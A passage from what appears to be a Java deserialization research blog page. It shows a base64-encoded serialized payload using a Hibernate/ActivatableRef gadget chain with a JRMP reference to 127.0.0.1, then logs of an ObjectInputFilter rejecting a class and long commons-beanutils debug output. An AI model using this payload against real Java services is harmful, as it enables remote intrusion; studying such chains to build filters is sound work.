class="line">rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IAI29yZy5oaWJlcm5hdGUuZW5naW5lLnNwaS5UeXBlZFZhbHVlh4gUshmh5zwCAAJMAAR0eXBldAAZTG9yZy9oaWJlcm5hdGUvdHlwZS9UeXBlO0wABXZhbHVldAASTGphdmEvbGFuZy9PYmplY3Q7eHBzcgAgb3JnLmhpYmVybmF0ZS50eXBlLkNvbXBvbmVudFR5cGXHO08ZYmxfcgIADVoAHGNyZWF0ZUVtcHR5Q29tcG9zaXRlc0VuYWJsZWRaABJoYXNOb3ROdWxsUHJvcGVydHlaAAVpc0tleUkADHByb3BlcnR5U3BhbkwAD2NhbkRvRXh0cmFjdGlvbnQAE0xqYXZhL2xhbmcvQm9vbGVhbjtbAAdjYXNjYWRldAAoW0xvcmcvaGliZXJuYXRlL2VuZ2luZS9zcGkvQ2FzY2FkZVN0eWxlO0wAEWNvbXBvbmVudFR1cGxpemVydAAxTG9yZy9oaWJlcm5hdGUvdHVwbGUvY29tcG9uZW50L0NvbXBvbmVudFR1cGxpemVyO0wACmVudGl0eU1vZGV0ABpMb3JnL2hpYmVybmF0ZS9FbnRpdHlNb2RlO1sAC2pvaW5lZEZldGNodAAaW0xvcmcvaGliZXJuYXRlL0ZldGNoTW9kZTtbAA1wcm9wZXJ0eU5hbWVzdAATW0xqYXZhL2xhbmcvU3RyaW5nO1sAE3Byb3BlcnR5TnVsbGFiaWxpdHl0AAJbWlsADXByb3BlcnR5VHlwZXN0ABpbTG9yZy9oaWJlcm5hdGUvdHlwZS9UeXBlO1sAIXByb3BlcnR5VmFsdWVHZW5lcmF0aW9uU3RyYXRlZ2llc3QAJltMb3JnL2hpYmVybmF0ZS90dXBsZS9WYWx1ZUdlbmVyYXRpb247eHIAH29yZy5oaWJlcm5hdGUudHlwZS5BYnN0cmFjdFR5cGXJFpSxstQ41AIAAHhwAAAAAAAAAXBwc3IAM29yZy5oaWJlcm5hdGUudHVwbGUuY29tcG9uZW50LlBvam9Db21wb25lbnRUdXBsaXplcsBwOcjTg59YAgAETAAOY29tcG9uZW50Q2xhc3N0ABFMamF2YS9sYW5nL0NsYXNzO0wACW9wdGltaXplcnQAMExvcmcvaGliZXJuYXRlL2J5dGVjb2RlL3NwaS9SZWZsZWN0aW9uT3B0aW1pemVyO0wADHBhcmVudEdldHRlcnQAKkxvcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvR2V0dGVyO0wADHBhcmVudFNldHRlcnQAKkxvcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvU2V0dGVyO3hyADdvcmcuaGliZXJuYXRlLnR1cGxlLmNvbXBvbmVudC5BYnN0cmFjdENvbXBvbmVudFR1cGxpemVy8vZxKVYnaN0CAAVaABJoYXNDdXN0b21BY2Nlc3NvcnNJAAxwcm9wZXJ0eVNwYW5bAAdnZXR0ZXJzdAArW0xvcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvR2V0dGVyO0wADGluc3RhbnRpYXRvcnQAIkxvcmcvaGliZXJuYXRlL3R1cGxlL0luc3RhbnRpYXRvcjtbAAdzZXR0ZXJzdAArW0xvcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvU2V0dGVyO3hwAAAAAAB1cgA1W0xvcmcuaGliZXJuYXRlLnByb3BlcnR5LmFjY2Vzcy5zcGkuR2V0dGVyTWV0aG9kSW1wbDu/pSysWxHxpwIAAHhwAAAAAXNyAD1vcmcuaGliZXJuYXRlLnByb3BlcnR5LmFjY2Vzcy5zcGkuR2V0dGVyTWV0aG9kSW1wbCRTZXJpYWxGb3JtrFu2VsndG1gCAARMAA5jb250YWluZXJDbGFzc3EAfgATTAAOZGVjbGFyaW5nQ2xhc3NxAH4AE0wACm1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMAAxwcm9wZXJ0eU5hbWVxAH4AH3hwcHZyAB1zdW4ucm1pLnNlcnZlci5BY3RpdmF0YWJsZVJlZmkuOvZUvgduDAAAeHB0AAZnZXRSZWZwcHBwcHBwcHBwcHVyABpbTG9yZy5oaWJlcm5hdGUudHlwZS5UeXBlO36vq6HklWGaAgAAeHAAAAABcQB+ABFwc3EAfgAhc3IAIGphdmEucm1pLmFjdGl2YXRpb24uQWN0aXZhdGlvbklEwAq0Rj/brq0DAAB4cHNyABNqYXZhLnJtaS5zZXJ2ZXIuVUlEDxJwDb82TxICAANTAAVjb3VudEoABHRpbWVJAAZ1bmlxdWV4cIABAAABmtlqJa5TRK2mdzIAClVuaWNhc3RSZWYACTEyNy4wLjAuMQAANq8AAAAAW5eMuQAAAAAAAAAAAAAAAAAAAHh3AgAAeHQAA3h4eHg=</span><br><span class="line">十二月 <span class="number">01</span>, <span class="number">2025</span> <span class="number">6</span>:<span class="number">16</span>:<span class="number">44</span> 下午 java.io.ObjectInputStream filterCheck</span><br><span class="line">信息: ObjectInputFilter REJECTED: <span class="keyword">class</span> <span class="title class_">javax</span>.naming.NamingException, array length: -<span class="number">1</span>, nRefs: <span class="number">2</span>, depth: <span class="number">1</span>, bytes: <span class="number">198</span>, ex: n/a</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.BooleanConverter - Setting <span class="keyword">default</span> value: <span class="literal">false</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.BooleanConverter - Converting <span class="string">&#x27;Boolean&#x27;</span> value <span class="string">&#x27;false&#x27;</span> to type <span class="string">&#x27;Boolean&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.BooleanConverter -     No conversion required, value is already a Boolean</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ByteConverter - Setting <span class="keyword">default</span> value: <span class="number">0</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ByteConverter - Converting <span class="string">&#x27;Integer&#x27;</span> value <span class="string">&#x27;0&#x27;</span> to type <span class="string">&#x27;Byte&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ByteConverter -     Converted to Byte value <span class="string">&#x27;0&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.CharacterConverter - Setting <span class="keyword">default</span> value:  </span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.CharacterConverter - Converting <span class="string">&#x27;Character&#x27;</span> value <span class="string">&#x27; &#x27;</span> to type <span class="string">&#x27;Character&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.CharacterConverter -     No conversion required, value is already a Character</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.DoubleConverter - Setting <span class="keyword">default</span> value: <span class="number">0</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.DoubleConverter - Converting <span class="string">&#x27;Integer&#x27;</span> value <span class="string">&#x27;0&#x27;</span> to type <span class="string">&#x27;Double&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.DoubleConverter -     Converted to Double value <span class="string">&#x27;0.0&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.FloatConverter - Setting <span class="keyword">default</span> value: <span class="number">0</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.FloatConverter - Converting <span class="string">&#x27;Integer&#x27;</span> value <span class="string">&#x27;0&#x27;</span> to type <span class="string">&#x27;Float&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.FloatConverter -     Converted to Float value <span class="string">&#x27;0.0&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.IntegerConverter - Setting <span class="keyword">default</span> value: <span class="number">0</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.IntegerConverter - Converting <span class="string">&#x27;Integer&#x27;</span> value <span class="string">&#x27;0&#x27;</span> to type <span class="string">&#x27;Integer&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.IntegerConverter -     No conversion required, value is already a Integer</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.LongConverter - Setting <span class="keyword">default</span> value: <span class="number">0</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.LongConverter - Converting <span class="string">&#x27;Integer&#x27;</span> value <span class="string">&#x27;0&#x27;</span> to type <span class="string">&#x27;Long&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.LongConverter -     Converted to Long value <span class="string">&#x27;0&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ShortConverter - Setting <span class="keyword">default</span> value: <span class="number">0</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ShortConverter - Converting <span class="string">&#x27;Integer&#x27;</span> value <span class="string">&#x27;0&#x27;</span> to type <span class="string">&#x27;Short&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ShortConverter -     Converted to Short value <span class="string">&#x27;0&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.BigDecimalConverter - Setting <span class="keyword">default</span> value: <span class="number">0.0</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.BigDecimalConverter - Converting <span class="string">&#x27;BigDecimal&#x27;</span> value <span class="string">&#x27;0.0&#x27;</span> to type <span class="string">&#x27;BigDecimal&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.BigDecimalConverter -     No conversion required, value is already a BigDecimal</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.BigIntegerConverter - Setting <span class="keyword">default</span> value: <span class="number">0</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.BigIntegerConverter - Converting <span class="string">&#x27;BigInteger&#x27;</span> value <span class="string">&#x27;0&#x27;</span> to type <span class="string">&#x27;BigInteger&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.BigIntegerConverter -     No conversion required, value is already a BigInteger</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.BooleanConverter - Setting <span class="keyword">default</span> value: <span class="literal">false</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.BooleanConverter - Converting <span class="string">&#x27;Boolean&#x27;</span> value <span class="string">&#x27;false&#x27;</span> to type <span class="string">&#x27;Boolean&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.BooleanConverter -     No conversion required, value is already a Boolean</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ByteConverter - Setting <span class="keyword">default</span> value: <span class="number">0</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ByteConverter - Converting <span class="string">&#x27;Integer&#x27;</span> value <span class="string">&#x27;0&#x27;</span> to type <span class="string">&#x27;Byte&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ByteConverter -     Converted to Byte value <span class="string">&#x27;0&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.CharacterConverter - Setting <span class="keyword">default</span> value:  </span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.CharacterConverter - Converting <span class="string">&#x27;Character&#x27;</span> value <span class="string">&#x27; &#x27;</span> to type <span class="string">&#x27;Character&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.CharacterConverter -     No conversion required, value is already a Character</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.DoubleConverter - Setting <span class="keyword">default</span> value: <span class="number">0</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.DoubleConverter - Converting <span class="string">&#x27;Integer&#x27;</span> value <span class="string">&#x27;0&#x27;</span> to type <span class="string">&#x27;Double&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.DoubleConverter -     Converted to Double value <span class="string">&#x27;0.0&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.FloatConverter - Setting <span class="keyword">default</span> value: <span class="number">0</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.FloatConverter - Converting <span class="string">&#x27;Integer&#x27;</span> value <span class="string">&#x27;0&#x27;</span> to type <span class="string">&#x27;Float&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.FloatConverter -     Converted to Float value <span class="string">&#x27;0.0&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.IntegerConverter - Setting <span class="keyword">default</span> value: <span class="number">0</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.IntegerConverter - Converting <span class="string">&#x27;Integer&#x27;</span> value <span class="string">&#x27;0&#x27;</span> to type <span class="string">&#x27;Integer&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.IntegerConverter -     No conversion required, value is already a Integer</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.LongConverter - Setting <span class="keyword">default</span> value: <span class="number">0</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.LongConverter - Converting <span class="string">&#x27;Integer&#x27;</span> value <span class="string">&#x27;0&#x27;</span> to type <span class="string">&#x27;Long&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.LongConverter -     Converted to Long value <span class="string">&#x27;0&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ShortConverter - Setting <span class="keyword">default</span> value: <span class="number">0</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ShortConverter - Converting <span class="string">&#x27;Integer&#x27;</span> value <span class="string">&#x27;0&#x27;</span> to type <span class="string">&#x27;Short&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ShortConverter -     Converted to Short value <span class="string">&#x27;0&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.StringConverter - Setting <span class="keyword">default</span> value: </span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.StringConverter - Converting <span class="string">&#x27;String&#x27;</span> value <span class="string">&#x27;&#x27;</span> to type <span class="string">&#x27;String&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting <span class="keyword">default</span> value: [Z@57a3af25</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting <span class="string">&#x27;boolean[]&#x27;</span> value <span class="string">&#x27;[Z@57a3af25&#x27;</span> to type <span class="string">&#x27;boolean[]&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a <span class="type">boolean</span>[]</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting <span class="keyword">default</span> value: [B@7f0eb4b4</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting <span class="string">&#x27;byte[]&#x27;</span> value <span class="string">&#x27;[B@7f0eb4b4&#x27;</span> to type <span class="string">&#x27;byte[]&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a <span class="type">byte</span>[]</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting <span class="keyword">default</span> value: [C@5c33f1a9</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting <span class="string">&#x27;char[]&#x27;</span> value <span class="string">&#x27;[C@5c33f1a9&#x27;</span> to type <span class="string">&#x27;char[]&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a <span class="type">char</span>[]</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting <span class="keyword">default</span> value: [D@1623b78d</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting <span class="string">&#x27;double[]&#x27;</span> value <span class="string">&#x27;[D@1623b78d&#x27;</span> to type <span class="string">&#x27;double[]&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a <span class="type">double</span>[]</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting <span class="keyword">default</span> value: [F@6adbc9d</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting <span class="string">&#x27;float[]&#x27;</span> value <span class="string">&#x27;[F@6adbc9d&#x27;</span> to type <span class="string">&#x27;float[]&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a <span class="type">float</span>[]</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting <span class="keyword">default</span> value: [I@4ec4f3a0</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting <span class="string">&#x27;int[]&#x27;</span> value <span class="string">&#x27;[I@4ec4f3a0&#x27;</span> to type <span class="string">&#x27;int[]&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a <span class="type">int</span>[]</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting <span class="keyword">default</span> value: [J@223191a6</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting <span class="string">&#x27;long[]&#x27;</span> value <span class="string">&#x27;[J@223191a6&#x27;</span> to type <span class="string">&#x27;long[]&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a <span class="type">long</span>[]</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting <span class="keyword">default</span> value: [S@<span class="number">9597028</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting <span class="string">&#x27;short[]&#x27;</span> value <span class="string">&#x27;[S@9597028&#x27;</span> to type <span class="string">&#x27;short[]&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a <span class="type">short</span>[]</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting <span class="keyword">default</span> value: [Ljava.math.BigDecimal;@4efbca5a</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting <span class="string">&#x27;BigDecimal[]&#x27;</span> value <span class="string">&#x27;[Ljava.math.BigDecimal;@4efbca5a&#x27;</span> to type <span class="string">&#x27;BigDecimal[]&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a BigDecimal[]</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting <span class="keyword">default</span> value: [Ljava.math.BigInteger;@59662a0b</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting <span class="string">&#x27;BigInteger[]&#x27;</span> value <span class="string">&#x27;[Ljava.math.BigInteger;@59662a0b&#x27;</span> to type <span class="string">&#x27;BigInteger[]&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a BigInteger[]</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting <span class="keyword">default</span> value: [Ljava.lang.Boolean;@67c27493</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting <span class="string">&#x27;Boolean[]&#x27;</span> value <span class="string">&#x27;[Ljava.lang.Boolean;@67c27493&#x27;</span> to type <span class="string">&#x27;Boolean[]&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a Boolean[]</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting <span class="keyword">default</span> value: [Ljava.lang.Byte;@<span class="number">72967906</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting <span class="string">&#x27;Byte[]&#x27;</span> value <span class="string">&#x27;[Ljava.lang.Byte;@72967906&#x27;</span> to type <span class="string">&#x27;Byte[]&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a Byte[]</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting <span class="keyword">default</span> value: [Ljava.lang.Character;@2f9f7dcf</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting <span class="string">&#x27;Character[]&#x27;</span> value <span class="string">&#x27;[Ljava.lang.Character;@2f9f7dcf&#x27;</span> to type <span class="string">&#x27;Character[]&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a Character[]</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting <span class="keyword">default</span> value: [Ljava.lang.Double;@35e2d654</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting <span class="string">&#x27;Double[]&#x27;</span> value <span class="string">&#x27;[Ljava.lang.Double;@35e2d654&#x27;</span> to type <span class="string">&#x27;Double[]&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a Double[]</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting <span class="keyword">default</span> value: [Ljava.lang.Float;@55183b20</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting <span class="string">&#x27;Float[]&#x27;</span> value <span class="string">&#x27;[Ljava.lang.Float;@55183b20&#x27;</span> to type <span class="string">&#x27;Float[]&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a Float[]</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Setting <span class="keyword">default</span> value: [Ljava.lang.Integer;@6cf0e0ba</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter - Converting <span class="string">&#x27;Integer[]&#x27;</span> value <span class="string">&#x27;[Ljava.lang.Integer;@6cf0e0ba&#x27;</span> to type <span class="string">&#x27;Integer[]&#x27;</span></span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter -     No conversion required, value is already a Integer[]</span><br><span class="line"><span class="number">18</span>:<span class="number">16</span>:<span class="number">44.446</span> 